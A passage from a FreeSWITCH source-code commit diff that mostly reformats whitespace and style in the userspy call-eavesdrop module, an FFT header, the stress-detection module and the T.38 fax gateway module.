+ switch_channel_set_state(channel, CS_PARK);
+ return SWITCH_STATUS_FALSE;
}
static switch_status_t spy_on_park(switch_core_session_t *session)
@@ -85,7 +85,7 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *moh = switch_channel_get_variable(channel, "hold_music");
- while(switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
+ while (switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
if (moh) {
switch_status_t status = switch_ivr_play_file(session, NULL, moh, NULL);
if (!SWITCH_READ_ACCEPTABLE(status)) {
@@ -98,13 +98,13 @@
static const switch_state_handler_table_t spy_state_handlers = {
- /*.on_init */ NULL,
- /*.on_routing */ NULL,
- /*.on_execute */ NULL,
- /*.on_hangup */ spy_on_hangup,
- /*.on_exchange_media */ spy_on_exchange_media,
- /*.on_soft_execute */ NULL,
- /*.on_consume_media */ NULL,
+ /*.on_init */ NULL,
+ /*.on_routing */ NULL,
+ /*.on_execute */ NULL,
+ /*.on_hangup */ spy_on_hangup,
+ /*.on_exchange_media */ spy_on_exchange_media,
+ /*.on_soft_execute */ NULL,
+ /*.on_consume_media */ NULL,
/* on_hibernate */ NULL,
/* on reset */ NULL,
/* on_park */ spy_on_park,
@@ -113,29 +113,29 @@
SWITCH_STANDARD_API(dump_hash)
{
switch_hash_index_t *hi;
- const void* key;
- void* val;
+ const void *key;
+ void *val;
switch_thread_rwlock_rdlock(globals.spy_hash_lock);
- for (hi = switch_hash_first(NULL,globals.spy_hash);hi; hi = switch_hash_next(hi)){
- switch_hash_this(hi,&key,NULL,&val);
- stream->write_function(stream,"%s : %s\n",(char*)key,(const char*)val);
+ for (hi = switch_hash_first(NULL, globals.spy_hash); hi; hi = switch_hash_next(hi)) {
+ switch_hash_this(hi, &key, NULL, &val);
+ stream->write_function(stream, "%s : %s\n", (char *) key, (const char *) val);
}
- stream->write_function(stream,"\n%d total spy\n",globals.spy_count);
+ stream->write_function(stream, "\n%d total spy\n", globals.spy_count);
switch_thread_rwlock_unlock(globals.spy_hash_lock);
return SWITCH_STATUS_SUCCESS;
}
-static void event_handler(switch_event_t* event)
+static void event_handler(switch_event_t *event)
{
switch_core_session_t *session = NULL;
switch_channel_t *channel;
- char *username[2] = {0};
- char* domain[2] = {0};
+ char *username[2] = { 0 };
+ char *domain[2] = { 0 };
char key[512];
- char* uuid = NULL, *my_uuid = NULL;
+ char *uuid = NULL, *my_uuid = NULL;
int i;
switch_thread_rwlock_rdlock(globals.spy_hash_lock);
@@ -144,22 +144,22 @@
goto done;
}
- username[0] = switch_event_get_header(event,"Caller-Username");
- domain[0] = switch_event_get_header(event,"variable_domain_name");
- domain[1] = switch_event_get_header(event,"variable_dialed_domain");
- username[1] = switch_event_get_header(event,"variable_dialed_user");
+ username[0] = switch_event_get_header(event, "Caller-Username");
+ domain[0] = switch_event_get_header(event, "variable_domain_name");
+ domain[1] = switch_event_get_header(event, "variable_dialed_domain");
+ username[1] = switch_event_get_header(event, "variable_dialed_user");
for (i = 0; i < 2; i++) {
if (username[i] && domain[i]) {
- switch_snprintf(key,sizeof(key),"%s@%s",username[i],domain[i]);
+ switch_snprintf(key, sizeof(key), "%s@%s", username[i], domain[i]);
- if ((uuid = switch_core_hash_find(globals.spy_hash,key))) {
+ if ((uuid = switch_core_hash_find(globals.spy_hash, key))) {
break;
}
}
}
- done:
+ done:
switch_thread_rwlock_unlock(globals.spy_hash_lock);
if (!uuid) {
@@ -169,64 +169,64 @@
session = switch_core_session_locate(uuid);
channel = switch_core_session_get_channel(session);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"UserSpy retrieved uuid %s for key %s, activating eavesdrop \n",uuid,key);
- my_uuid = switch_event_get_header(event,"Unique-ID");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "UserSpy retrieved uuid %s for key %s, activating eavesdrop \n", uuid, key);
+ my_uuid = switch_event_get_header(event, "Unique-ID");
- switch_channel_set_variable(channel,"spy_uuid",my_uuid);
+ switch_channel_set_variable(channel, "spy_uuid", my_uuid);
- switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
- switch_channel_set_flag(channel,CF_BREAK);
+ switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
+ switch_channel_set_flag(channel, CF_BREAK);
switch_core_session_rwunlock(session);
}
#define USERSPY_SYNTAX "<user@domain> [uuid]"
-SWITCH_STANDARD_APP(userspy_function)
+SWITCH_STANDARD_APP(userspy_function)
{
int argc = 0;
- char* argv[2] = {0};
- char* params = NULL;
+ char *argv[2] = { 0 };
+ char *params = NULL;
- if (!zstr(data) && (params = switch_core_session_strdup(session,data))) {
+ if (!zstr(data) && (params = switch_core_session_strdup(session, data))) {
if ((argc = switch_separate_string(params, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 1) {
switch_channel_t *channel = switch_core_session_get_channel(session);
- char* uuid = switch_core_session_get_uuid(session);
+ char *uuid = switch_core_session_get_uuid(session);
switch_status_t status;
switch_thread_rwlock_wrlock(globals.spy_hash_lock);
- if (switch_core_hash_find(globals.spy_hash,argv[0])) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Spy already exists for %s\n",argv[0]);
- switch_channel_hangup(channel,SWITCH_CAUSE_NORMAL_CLEARING);
+ if (switch_core_hash_find(globals.spy_hash, argv[0])) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Spy already exists for %s\n", argv[0]);
+ switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
switch_thread_rwlock_unlock(globals.spy_hash_lock);
return;
}
- status = switch_core_hash_insert(globals.spy_hash,argv[0],(void*) uuid);
+ status = switch_core_hash_insert(globals.spy_hash, argv[0], (void *) uuid);
if ((status != SWITCH_STATUS_SUCCESS)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Cant insert to spy hash\n");
- switch_channel_hangup(channel,SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
- switch_thread_rwlock_unlock(globals.spy_hash_lock);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cant insert to spy hash\n");
+ switch_channel_hangup(channel, SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
+ switch_thread_rwlock_unlock(globals.spy_hash_lock);
return;
}
globals.spy_count++;
switch_thread_rwlock_unlock(globals.spy_hash_lock);
- switch_channel_set_private(channel,"_userspy_",(void*) argv[0]);
- switch_channel_add_state_handler(channel,&spy_state_handlers);
+ switch_channel_set_private(channel, "_userspy_", (void *) argv[0]);
+ switch_channel_add_state_handler(channel, &spy_state_handlers);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,"UserSpy activated on %s \n",argv[0]);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "UserSpy activated on %s \n", argv[0]);
if (argv[1]) {
- switch_channel_set_variable(channel,"spy_uuid",argv[1]);
- switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
+ switch_channel_set_variable(channel, "spy_uuid", argv[1]);
+ switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
return;
}
- switch_channel_set_state(channel,CS_PARK);
+ switch_channel_set_state(channel, CS_PARK);
return;
}
return;
@@ -244,15 +244,15 @@
globals.pool = pool;
- switch_core_hash_init(&globals.spy_hash,pool);
- switch_thread_rwlock_create(&globals.spy_hash_lock,pool);
+ switch_core_hash_init(&globals.spy_hash, pool);
+ switch_thread_rwlock_create(&globals.spy_hash_lock, pool);
globals.spy_count = 0;
switch_event_bind_removable(modname, SWITCH_EVENT_CHANNEL_BRIDGE, NULL, event_handler, NULL, &globals.node);
-
- SWITCH_ADD_APP(app_interface,"userspy","Spy on a user constantly","Spy on a user constantly",userspy_function,USERSPY_SYNTAX,SAF_NONE);
- SWITCH_ADD_API(api_interface,"userspy_show","Show current spies",dump_hash,"userspy_show");
-
+
+ SWITCH_ADD_APP(app_interface, "userspy", "Spy on a user constantly", "Spy on a user constantly", userspy_function, USERSPY_SYNTAX, SAF_NONE);
+ SWITCH_ADD_API(api_interface, "userspy_show", "Show current spies", dump_hash, "userspy_show");
+
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
@@ -261,12 +261,12 @@
{
int sanity = 0;
- while (globals.spy_count) {
- switch_cond_next();
- if (++sanity >= 60000) {
- break;
- }
- }
+ while (globals.spy_count) {
+ switch_cond_next();
+ if (++sanity >= 60000) {
+ break;
+ }
+ }
switch_event_unbind(&globals.node);
switch_core_hash_destroy(&globals.spy_hash);
Modified: freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -14,7 +14,7 @@
#if defined (FFTReal_CURRENT_HEADER)
- #error Recursive inclusion of FFTReal header file.
+#error Recursive inclusion of FFTReal header file.
#endif
#define FFTReal_CURRENT_HEADER
@@ -25,89 +25,83 @@
#if defined (_MSC_VER)
#pragma pack (push, 8)
-#endif // _MSC_VER
+#endif // _MSC_VER
-class FFTReal
-{
+class FFTReal {
/*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
-public:
+ public:
/* Change this typedef to use a different floating point type in your FFTs
- (i.e. float, double or long double). */
- typedef float flt_t;
+ (i.e. float, double or long double). */
+ typedef float flt_t;
- explicit FFTReal (const long length);
- ~FFTReal ();
- void do_fft (flt_t f [], const flt_t x []) const;
- void do_ifft (const flt_t f [], flt_t x []) const;
- void rescale (flt_t x []) const;
+ explicit FFTReal(const long length);
+ ~FFTReal();
+ void do_fft(flt_t f[], const flt_t x[]) const;
+ void do_ifft(const flt_t f[], flt_t x[]) const;
+ void rescale(flt_t x[]) const;
/*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
-private:
+ private:
/* Bit-reversed look-up table nested class */
- class BitReversedLUT
- {
- public:
- explicit BitReversedLUT (const int nbr_bits);
- ~BitReversedLUT ();
- const long * get_ptr () const
- {
+ class BitReversedLUT {
+ public:
+ explicit BitReversedLUT(const int nbr_bits);
+ ~BitReversedLUT();
+ const long *get_ptr() const {
return (_ptr);
- }
- private:
- long * _ptr;
+ } private:
+ long *_ptr;
};
/* Trigonometric look-up table nested class */
- class TrigoLUT
- {
- public:
- explicit TrigoLUT (const int nbr_bits);
- ~TrigoLUT ();
- const flt_t * get_ptr (const int level) const
- {
+ class TrigoLUT {
+ public:
+ explicit TrigoLUT(const int nbr_bits);
+ ~TrigoLUT();
+ const flt_t *get_ptr(const int level) const {
return (_ptr + (1L << (level - 1)) - 4);
};
- private:
- flt_t * _ptr;
+ private:
+ flt_t *_ptr;
};
- const BitReversedLUT _bit_rev_lut;
- const TrigoLUT _trigo_lut;
- const flt_t _sqrt2_2;
- const long _length;
- const int _nbr_bits;
- flt_t * _buffer_ptr;
+ const BitReversedLUT _bit_rev_lut;
+ const TrigoLUT _trigo_lut;
+ const flt_t _sqrt2_2;
+ const long _length;
+ const int _nbr_bits;
+ flt_t *_buffer_ptr;
/*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
-private:
+ private:
- FFTReal (const FFTReal &other);
- const FFTReal& operator = (const FFTReal &other);
- int operator == (const FFTReal &other);
- int operator != (const FFTReal &other);
+ FFTReal(const FFTReal & other);
+ const FFTReal & operator =(const FFTReal & other);
+ int operator ==(const FFTReal & other);
+ int operator !=(const FFTReal & other);
};
#if defined (_MSC_VER)
#pragma pack (pop)
-#endif // _MSC_VER
+#endif // _MSC_VER
-#endif // FFTReal_HEADER_INCLUDED
+#endif // FFTReal_HEADER_INCLUDED
#undef FFTReal_CURRENT_HEADER
Modified: freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -54,40 +54,42 @@
/*! Type that holds codec information. */
typedef struct {
- /*! The sampling rate of the audio stream. */
- int rate;
- /*! The number of channels. */
- int channels;
+ /*! The sampling rate of the audio stream. */
+ int rate;
+ /*! The number of channels. */
+ int channels;
} t38gateway_codec_info_t;
/*! Type that holds session information pertinent to the t38gateway module. */
typedef struct {
- /*! Internal FreeSWITCH session. */
- switch_core_session_t *session;
- /*! Codec information for the session. */
- t38gateway_codec_info_t t38gateway_codec;
- t38_gateway_state_t *t38;
- t38_core_state_t *t38_core;
- udptl_state_t *udptl;
+ /*! Internal FreeSWITCH session. */
+ switch_core_session_t *session;
+ /*! Codec information for the session. */
+ t38gateway_codec_info_t t38gateway_codec;
+ t38_gateway_state_t *t38;
+ t38_core_state_t *t38_core;
+ udptl_state_t *udptl;
} t38gateway_session_info_t;
static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
{
- t38gateway_session_info_t *t;
+ t38gateway_session_info_t *t;
- t = (t38gateway_session_info_t *) user_data;
- return 0;
+ t = (t38gateway_session_info_t *) user_data;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int seq_no)
{
- t38gateway_session_info_t *t;
+ t38gateway_session_info_t *t;
- t = (t38gateway_session_info_t *) user_data;
- t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
- return 0;
+ t = (t38gateway_session_info_t *) user_data;
+ t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
/*! \brief The callback function that is called when new audio data becomes available
@@ -98,39 +100,39 @@
* @param type The switch callback type.
* @return The success or failure of the function.
*/
-static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
+static switch_bool_t t38gateway_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
{
- t38gateway_session_info_t *t38gateway_info;
- switch_codec_t *read_codec;
- switch_frame_t *frame;
- int16_t *amp;
+ t38gateway_session_info_t *t38gateway_info;
+ switch_codec_t *read_codec;
+ switch_frame_t *frame;
+ int16_t *amp;
- t38gateway_info = (t38gateway_session_info_t *) user_data;
- if (t38gateway_info == NULL) {
- return SWITCH_FALSE;
- }
+ t38gateway_info = (t38gateway_session_info_t *) user_data;
+ if (t38gateway_info == NULL) {
+ return SWITCH_FALSE;
+ }
- switch (type) {
- case SWITCH_ABC_TYPE_INIT:
- read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
- t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
- t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
- break;
- case SWITCH_ABC_TYPE_READ_PING:
- case SWITCH_ABC_TYPE_CLOSE:
- break;
- case SWITCH_ABC_TYPE_READ:
- frame = switch_core_media_bug_get_read_replace_frame(bug);
- amp = (int16_t *) frame->data;
- t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
- break;
- case SWITCH_ABC_TYPE_WRITE:
- case SWITCH_ABC_TYPE_READ_REPLACE:
- case SWITCH_ABC_TYPE_WRITE_REPLACE:
- break;
- }
+ switch (type) {
+ case SWITCH_ABC_TYPE_INIT:
+ read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
+ t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
+ t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
+ break;
+ case SWITCH_ABC_TYPE_READ_PING:
+ case SWITCH_ABC_TYPE_CLOSE:
+ break;
+ case SWITCH_ABC_TYPE_READ:
+ frame = switch_core_media_bug_get_read_replace_frame(bug);
+ amp = (int16_t *) frame->data;
+ t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
+ break;
+ case SWITCH_ABC_TYPE_WRITE:
+ case SWITCH_ABC_TYPE_READ_REPLACE:
+ case SWITCH_ABC_TYPE_WRITE_REPLACE:
+ break;
+ }
- return SWITCH_TRUE;
+ return SWITCH_TRUE;
}
/*! \brief FreeSWITCH module loading function
@@ -140,19 +142,19 @@
*/
SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
{
- switch_application_interface_t *app_interface;
- switch_api_interface_t *api_interface;
- /* connect my internal structure to the blank pointer passed to me */
- *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+ switch_application_interface_t *app_interface;
+ switch_api_interface_t *api_interface;
+ /* connect my internal structure to the blank pointer passed to me */
+ *module_interface = switch_loadable_module_create_module_interface(pool, modname);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
- SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
+ SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
- SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
+ SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
- /* indicate that the module should continue to be loaded */
- return SWITCH_STATUS_SUCCESS;
+ /* indicate that the module should continue to be loaded */
+ return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH application handler function.
@@ -163,48 +165,48 @@
*/
SWITCH_STANDARD_APP(t38gateway_start_function)
{
- switch_media_bug_t *bug;
- switch_status_t status;
- switch_channel_t *channel;
- t38gateway_session_info_t *t38gateway_info;
+ switch_media_bug_t *bug;
+ switch_status_t status;
+ switch_channel_t *channel;
+ t38gateway_session_info_t *t38gateway_info;
- if (session == NULL)
- return;
+ if (session == NULL)
+ return;
- channel = switch_core_session_get_channel(session);
+ channel = switch_core_session_get_channel(session);
- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(data, "stop") == 0) {
- switch_channel_set_private(channel, "_t38gateway_", NULL);
- switch_core_media_bug_remove(session, &bug);
- return;
- }
+ /* Is this channel already set? */
+ bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
+ /* If yes */
+ if (bug != NULL) {
+ /* If we have a stop remove audio bug */
+ if (strcasecmp(data, "stop") == 0) {
+ switch_channel_set_private(channel, "_t38gateway_", NULL);
+ switch_core_media_bug_remove(session, &bug);
+ return;
+ }
- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
+ /* We have already started */
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
- return;
- }
+ return;
+ }
- t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
+ t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
- t38gateway_info->session = session;
- t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
- t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
- t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
+ t38gateway_info->session = session;
+ t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+ t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
+ t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
- status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
+ status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- return;
- }
+ if (status != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+ return;
+ }
- switch_channel_set_private(channel, "_t38gateway_", bug);
+ switch_channel_set_private(channel, "_t38gateway_", bug);
}
/*! \brief Called when the module shuts down
@@ -214,9 +216,9 @@
*/
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
{
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH API handler function.
@@ -228,110 +230,110 @@
*/
SWITCH_STANDARD_API(t38gateway_api_main)
{
- switch_core_session_t *t38gateway_session;
- switch_media_bug_t *bug;
- t38gateway_session_info_t *t38gateway_info;
- switch_channel_t *channel;
- switch_status_t status;
- int argc;
- char *argv[T38GATEWAY_PARAMS];
- char *ccmd;
- char *uuid;
- char *command;
+ switch_core_session_t *t38gateway_session;
+ switch_media_bug_t *bug;
+ t38gateway_session_info_t *t38gateway_info;
+ switch_channel_t *channel;
+ switch_status_t status;
+ int argc;
+ char *argv[T38GATEWAY_PARAMS];
+ char *ccmd;
+ char *uuid;
+ char *command;
- /* No command? Display usage */
- if (cmd == NULL) {
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
+ /* No command? Display usage */
+ if (cmd == NULL) {
+ stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+ return SWITCH_STATUS_SUCCESS;
+ }
- /* Duplicated contents of original string */
- ccmd = strdup(cmd);
- /* Separate the arguments */
- argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
+ /* Duplicated contents of original string */
+ ccmd = strdup(cmd);
+ /* Separate the arguments */
+ argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
- /* If we don't have the expected number of parameters
- * display usage */
- if (argc != T38GATEWAY_PARAMS) {
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- switch_safe_free(ccmd);
- return SWITCH_STATUS_SUCCESS;
- }
+ /* If we don't have the expected number of parameters
+ * display usage */
+ if (argc != T38GATEWAY_PARAMS) {
+ stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+ switch_safe_free(ccmd);
+ return SWITCH_STATUS_SUCCESS;
+ }
- uuid = argv[0];
- command = argv[1];
+ uuid = argv[0];
+ command = argv[1];
- /* using uuid locate a reference to the FreeSWITCH session */
- t38gateway_session = switch_core_session_locate(uuid);
+ /* using uuid locate a reference to the FreeSWITCH session */
+ t38gateway_session = switch_core_session_locate(uuid);
- /* If the session was not found exit */
- if (t38gateway_session == NULL) {
- switch_safe_free(ccmd);
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- return SWITCH_STATUS_FALSE;
- }
+ /* If the session was not found exit */
+ if (t38gateway_session == NULL) {
+ switch_safe_free(ccmd);
+ stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+ return SWITCH_STATUS_FALSE;
+ }
- /* Get current channel of the session to tag the session
- * This indicates that our module is present */
- channel = switch_core_session_get_channel(t38gateway_session);
+ /* Get current channel of the session to tag the session
+ * This indicates that our module is present */
+ channel = switch_core_session_get_channel(t38gateway_session);
- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(command, "stop") == 0) {
- switch_channel_set_private(channel, "_t38gateway_", NULL);
- switch_core_media_bug_remove(t38gateway_session, &bug);
- switch_safe_free(ccmd);
- stream->write_function(stream, "+OK\n");
- return SWITCH_STATUS_SUCCESS;
- }
+ /* Is this channel already set? */
+ bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
+ /* If yes */
+ if (bug != NULL) {
+ /* If we have a stop remove audio bug */
+ if (strcasecmp(command, "stop") == 0) {
+ switch_channel_set_private(channel, "_t38gateway_", NULL);
+ switch_core_media_bug_remove(t38gateway_session, &bug);
+ switch_safe_free(ccmd);
+ stream->write_function(stream, "+OK\n");
+ return SWITCH_STATUS_SUCCESS;
+ }
- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
+ /* We have already started */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
- switch_safe_free(ccmd);
- return SWITCH_STATUS_FALSE;
- }
+ switch_safe_free(ccmd);
+ return SWITCH_STATUS_FALSE;
+ }
- /* If we don't see the expected start exit */
- if (strcasecmp(command, "start") != 0) {
- switch_safe_free(ccmd);
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- return SWITCH_STATUS_FALSE;
- }
+ /* If we don't see the expected start exit */
+ if (strcasecmp(command, "start") != 0) {
+ switch_safe_free(ccmd);
+ stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+ return SWITCH_STATUS_FALSE;
+ }
- /* Allocate memory attached to this FreeSWITCH session for
- * use in the callback routine and to store state information */
- t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
+ /* Allocate memory attached to this FreeSWITCH session for
+ * use in the callback routine and to store state information */
+ t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
- /* Set initial values and states */
- t38gateway_info->session = t38gateway_session;
- t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
- t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
- t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
+ /* Set initial values and states */
+ t38gateway_info->session = t38gateway_session;
+ t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+ t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
+ t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
- /* Add a media bug that allows me to intercept the
- * reading leg of the audio stream */
- status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
+ /* Add a media bug that allows me to intercept the
+ * reading leg of the audio stream */
+ status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
- /* If adding a media bug fails exit */
- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+ /* If adding a media bug fails exit */
+ if (status != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- switch_safe_free(ccmd);
- return SWITCH_STATUS_FALSE;
- }
+ switch_safe_free(ccmd);
+ return SWITCH_STATUS_FALSE;
+ }
- /* Set the t38gateway tag to detect an existing t38gateway media bug */
- switch_channel_set_private(channel, "_t38gateway_", bug);
+ /* Set the t38gateway tag to detect an existing t38gateway media bug */
+ switch_channel_set_private(channel, "_t38gateway_", bug);
- /* Everything went according to plan! Notify the user */
- stream->write_function(stream, "+OK\n");
+ /* Everything went according to plan! Notify the user */
+ stream->write_function(stream, "+OK\n");
- switch_safe_free(ccmd);
- return SWITCH_STATUS_SUCCESS;
+ switch_safe_free(ccmd);
+ return SWITCH_STATUS_SUCCESS;
}
